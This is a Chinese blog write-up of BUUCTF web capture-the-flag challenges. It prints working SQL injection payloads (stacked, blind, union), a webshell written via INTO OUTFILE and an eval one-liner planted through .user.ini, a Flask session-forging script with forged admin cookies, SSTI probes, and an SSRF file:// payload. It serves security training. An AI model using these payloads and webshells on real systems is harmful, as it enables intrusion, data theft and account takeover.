BUUCTF-Web-1

本文记录BUUCTF上Web部分的前二十个题目。其他BUUCTF的题目参见文末的链接。

[HCTF 2018]WarmUp

根据源代码里的提示,打开source.php,看到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

访问白名单里的hint.php,看到以下提示:

由源码知道,传入file参数,需要截取第一个问号之前的路径满足白名单要求,故在参数里添加?并用../跳目录进行文件包含。payload如下:

[强网杯 2019]随便注

先嘲讽一句…

经尝试,过滤了很多关键字,但可以使用堆叠注入。

1
1';show databases;#

1
1';show tables;#

这里学到一个新知识点:预处理命令。

1
2
3
4
5
6
//预定义SQL语句
PREPARE sqla from '[my sql sequece]';
//执行预定义SQL语句
EXECUTE sqla;
//删除预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;

预定义语句也可以通过变量进行传递:

1
2
3
4
5
6
7
8
//存储表名
SET @tn = 'hahaha';
//存储SQL语句
SET @sql = concat('select * from ', @tn);
//预定义SQL语句
PREPARE sqla from @sql;
//执行预定义SQL语句
EXECUTE sqla;

根据刚才得到的表名,构造payload:

1
?inject=1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

第二种:

1
2
3
#?inject=1';set @sql=select flag from supersqli.1919810931114514;PREPARE stmt FROM @sql;EXECUTE stmt;#
#将@sql的值hex编码
?inject=1';set @sql=0x73656C65637420666C61672066726F6D20737570657273716C692E31393139383130393331313134353134;PREPARE stmt FROM @sql;EXECUTE stmt;#

后来看到有大佬利用命令执行获得flag…Orz

1
2
3
/?inject=';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
?inject=';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
/1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"

先查看了用户为root,然后利用concat拼接和char(46)绕过select和.的检测,将一句话写入网站根目录(根目录为猜测,通常在此目录下),再访问webshell执行命令。

easy_tornado

访问三个文件:

1
2
3
4
5
6
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

学到一个新的注入类型:服务器模板注入 (SSTI ) 。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': '7d793037a0760186574b0282f2f435e7'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person['name']
return render_template_string(template, person=person)
if __name__ == "__main__":
app.run(debug=True)

一个简单的flask的Web应用程序。运行代码,本地访问”http://127.0.0.1:5000/login",显示如下结果:

访问”http://127.0.0.1:5000/login?name=bob",显示如下结果:

如果攻击者访问

1
http://127.0.0.1:5000/login?name=bob{{person.secret}}

会发现除了显示了 Hello bob!之外,连同密钥也一起被显示了。

访问

1
http://127.0.0.1:5000/login?name={{%20config%20}}

会发现服务器的配置显示在页面中了:

修改flask代码即刻修复:

1
2
3
template = '<h2>Hello %s!</h2>' % person['name']
#修改为:
template = '<h2>Hello {{ person.name }}!</h2>'

此时访问

1
http://127.0.0.1:5000/login?name={{%20config%20}}

就不会显示服务器的敏感信息了。

回到这个题目,由某位大佬的一篇日志可知,在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,其中:

  • handler: the current RequestHandler object
  • RequestHandler.settings:
    An alias for self.application.settings.

所以,handler.settings指向RequestHandler.application.settings。

访问http://e5bb0fdf-7e36-4590-baa8-fb3453beaeb2.node3.buuoj.cn/error?msg=,得到cookie_secret:

接下来写个python生成访问flag文件的链接:

1
2
3
4
5
6
7
8
9
10
import hashlib
def md5_generate(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()
if __name__ == "__main__":
cookie_secret = '4b260ce3-4283-44d0-8af9-51c19ca6c861'
file_name = '/fllllllllllllag'
url = 'http://55e5de47-bcbf-46a8-a014-c79336169805.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash='
print(url + md5_generate(cookie_secret + md5_generate(file_name)))

[强网杯 2019]高明的黑客

下载www.tar.gz解压得到一堆php文件,随便打开几个可以看出这些都是webshell,但估计只有一个能用,写个python批量识别里面的所有key,并依次尝试命令执行,执行成功的就是能用的shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import re
import queue
import requests
import threading
def find_param(file_name):
with open(path + file_name, 'r') as f:
text = f.read()
try:
req = re.findall(r"= \$_GET\['(.*?)'] \?\?", text)
for r in req:
dic = {}
dic['file_name'] = file_name
dic['key'] = r
params.append(dic)
except Exception as identifier:
pass
def request_test(q):
while True:
i = q.get()
file_name = params[i]['file_name']
key = params[i]['key']
url1 = url + file_name + '?' + key + '=echo%20"otuki"'
req = requests.get(url1).text
if req.find('otuki') != -1:
print(file_name + '?' + key + ' is the shell!')
return
if __name__ == "__main__":
path = './src/'
files = os.listdir(path)
url = 'http://b3eb55d7-b2e7-46c5-aada-2f7983e56973.node3.buuoj.cn/'
params = []
threads = []
thread_num = 10
for file in files:
find_param(file)
print("共" + str(len(params)) + "个key!")
q = queue.Queue()
for i in range(len(params)):
q.put(i)
for i in range(thread_num):
t = threading.Thread(target=request_test,
args=(q, ),
name="child_thread_%s" % i)
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()

然后访问“http://b3eb55d7-b2e7-46c5-aada-2f7983e56973.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag”,查看flag:

[SUCTF 2019]EasySQL

fuzz了一顿,过滤了很多关键字,但没过滤select、from。参考大佬writeup,学到一个新姿势:sql_mode=PIPES_AS_CONCAT。这条语句意思是把管道符当作字符串链接符处理。

而源码里是这样写的(别问为什么知道源码…):

1
select $post['query']||flag from Flag

构造payload:

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

这样和源代码拼接就成了:

1
2
3
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
#即
select 1flag from Flag

[HCTF 2018]admin

随便注册个用户登录进去:

源码里提示你不是admin:

然后打开修改密码界面,发现源码里有提示:

找到题目源码,开始代码审计。直接看index.html页面:

可以看到需要以admin身份登录才会显示flag。

关于这道题目网上有多种解法,这里记录两种:

解法一:flask session 伪造

flask的session是存储在客户端cookie中的,我们通过伪造admin用户的cookie从而达到目的。

1
2
#cookie
.eJw9kEGLwkAMhf_KkrOHdtpeBA-7TFcUkjKQWiYXcbu1tnUUqmJb8b_v4IKn8PLCx3t5wHbfV5cDzK_9rZrBtvmF-QM-fmAOwqtRtFHE6SDFukEuE2zre8Z5hBon1CYRXQ6ocoXKjOTSgNr10U6bjrgOUW861OlABQ7CaUj8dUS2Ay1NkmkTSWtiO5koK2wibuWZXZBxqtDZySob-JlIYfzOhDTlI7IZpN00xCYWrgOavh0p6_N8LuA5g_LS77fXc1ed3hVImQSVHW2bh9mSDv489jqyBca4XDth6kSjIkdHW0hj1Wqk--KFa9yurt4kHyFH8--cds4bcL7eugZmcLtU_etvEAbw_AM3Wmnx.Xbfatw.ZnNPvaIVy9lE6GZ-LabIYHqJ5Q8

从config.py里也找到了secret_key:ckj123

从网上找了个加解密flask session的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(
ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(
ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help',
dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s',
'--secret-key',
metavar='<string>',
help='Secret key',
required=True)
parser_encode.add_argument('-t',
'--cookie-structure',
metavar='<string>',
help='Session cookie structure',
required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s',
'--secret-key',
metavar='<string>',
help='Secret key',
required=False)
parser_decode.add_argument('-c',
'--cookie-value',
metavar='<string>',
help='Session cookie value',
required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

解出session:

1
{'_fresh': True, '_id': b'e22d46511ebb179280957033049d713e63d26a462ec5d58505d0115c1e1550e1614d9847f48c479f9fb70949162f3cf42f9ed4945752141f5b548e8471f7f090', 'csrf_token': b'7d93f2b558ca7f83f7ac80bfe3dd366ceafbcb27', 'image': b'CST1', 'name': 'otuki', 'user_id': '10'}

将’name’字段修改为admin,再进行加密,得到伪造的cookie:

1
.eJw9kEGLwkAMhf_KkrOHdtpeBA-7TFcUkjKQWjIXcWutbR0XqmJb8b_v4IKn8PLCx3t5wPbQV5cjzK_9rZrBttnD_AEfPzAHy6vRaqOI08EW6wa5TLCt7xnnEWqcUJvE6nJAlStUZiSXBtSuTzJtOuI6RL3pUKcDFThYTkPirxOyDLQ0SaZNZFsTy2SirJDEupVndkHGqUInkygJ_ExsYfzOhDTlI7IZbLtpiE1suQ5o-nakxOf5XMBzBuWlP2yvv111flcgZRJUMkqbh9mSjv489jqSAmNcrp1l6qxGRY5OUthG1Gqk--KFa9yurt4kHyFH8--cd84bsNu75gwzuF2q_vU3CAN4_gE0amnO.XbfjOA.2IC_pij9fKv0xVz_4FOqiNloHeI

修改cookie后刷新页面即可。

解法二:Unicode欺骗

通过代码审计,看到注册、登录、修改密码前都会先将用户名进行小写处理,但不是用python自带的lower函数,而是重新写了个strlower,查看函数定义:

发现这个函数用到了nodeprep.prepare,而这个方法存在漏洞,它会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。这样我们使用ᴬdmin注册用户并登录,发现已经变成Admin:

再进行修改密码操作,实际上是修改的admin账户的密码。之后使用admin登录即可。

[CISCN2019 华北赛区 Day2 Web1]Hack World

fuzz测试了一下,过滤了空格,构造payload:

1
id=(ascii(substr((select(flag)from(flag)),i,1))=96)

当结果为true时,页面如下:

写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
url = 'http://8e4beaa0-c004-4f05-8026-64dfe732a260.node3.buuoj.cn/index.php'
f = 'Hello, glzjin wants a girlfriend'
flag = ''
for i in range(1, 1024):
for j in range(32, 128):
data = {
"id":
"(ascii(substr((select(flag)from(flag)),{y},1))={x})".format(y=i,
x=j)
}
req = requests.post(url, data).text
if f in req:
print(chr(j))
flag += chr(j)
break
print(flag)

没有用二分法,效率比较低。

[SUCTF 2019]CheckIn

源码:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn

根据源码可知文件数据部分添加图片文件的头即可绕过。先上传一个.user.ini文件,内容如下:

1
auto_prepend_file=m.jpg

再上传一个图片马,因检测“<?”,故使用一下一句话:

1
<script language='php'>eval($_REQUEST['cmd']);</script>

之后使用菜刀等远程shell管理工具连接即可。


php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.in i文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

auto_append_file、auto_prepend_file,点开看看什么意思:

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

1
auto_prepend_file=01.gif

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

[RoarCTF 2019]Easy Calc

查看源码:

其中,”$(“#content”)“相当于”document.getElementById(“content”);“,“$(“#content”).val()”相当于”document.getElementById(“content”).value;“。

尝试列目录:

1
?num=1;var_dump(scandir(chr(47)))

发现总是报403。

后来知道这里可以利用php的一个特性。php在查询字符串时,首先做两件事:

  1. 删除空白符
  2. 将某些字符转换为下划线(包括空格)

在num前加入一个空格,就可以让waf找不到num变量,自然无法检测到num变量里的字母。

1
? num=1;var_dump(scandir(chr(47)))

发现可疑文件名f1agg,读取这个文件:

1
2
#? num= 1;var_dump(file_get_contents(/flag))
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]EasySQL

直接万能密码即可。

1
2
3
4
5
admin' or 1=1 #
1
#或
admin
1' or 1=1#

[极客大挑战 2019]Havefun

右键源代码看到:

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

get传参即可。

[极客大挑战 2019]Secret File

打开第一个页面,源代码里有个链接

第二个页面点击红色的按钮,发现快速301到了end.php,使用burp的repeater即可看到secr3t.php。

打开看到一段代码:

尝试使用php伪协议读文件:

得到flag。

[网鼎杯 2018]Fakebook

使用nikto扫描目标地址,

发现robots.txt

访问可发现user.php.bak。通过代码审计可发现user.php中的get方法存在SSRF。

通过查看其他WP,使用御剑扫到了flag.php。

先注册一个账户,登录后经尝试发现view页面存在注入,同时得到了绝对路径。

尝试使用报错注入,发现过滤了一些关键字,使用以下payload可直接读取flag.php。

1
/view.php?no=0+uniOn/**/selEct+1,load_file('/var/www/html/flag.php'),3,4%23

正常解法应该是通过注入得到数据:

1
2
3
4
5
6
7
8
view.php?no=0+uniOn/**/selEct+1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()%23
#users

view.php?no=0+uniOn/**/selEct+1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name='users'%23
#no,username,passwd,data

view.php?no=0+uniOn/**/selEct+1,concat(username,'~',passwd,'~',data),3,4 from users%23
#test~ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff~O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:15:"http://test.com";}

发现只有data字段存储了blog内容,而且是以序列化的形式。只要构造字符串使其查询时反序列化并执行其中的payload即可。通过查看源码发现可以使用file://协议读取文件内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get($url)
{
#初始化一个cURL会话,供curl_setopt(),curl_exec()和curl_close()函数使用。
$ch = curl_init();
#请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值
curl_setopt($ch, CURLOPT_URL, $url);
#CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_exec成功时返回 TRUE,或者在失败时返回 FALSE。然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回FALSE
$output = curl_exec($ch);
#curl_getinfo以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}

构造序列化字符串:

最终payload:

1
http://68b8469a-0224-4eed-bf64-531a5046b709.node3.buuoj.cn/view.php?no=0+uniOn/**/selEct+1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users%23

blog栏显示file:///var/www/html/flag.php时即代表执行成功,查看网页源码得到flag.php通过base64编码后的内容,解码即可。

但愿我的博文能对您有所帮助~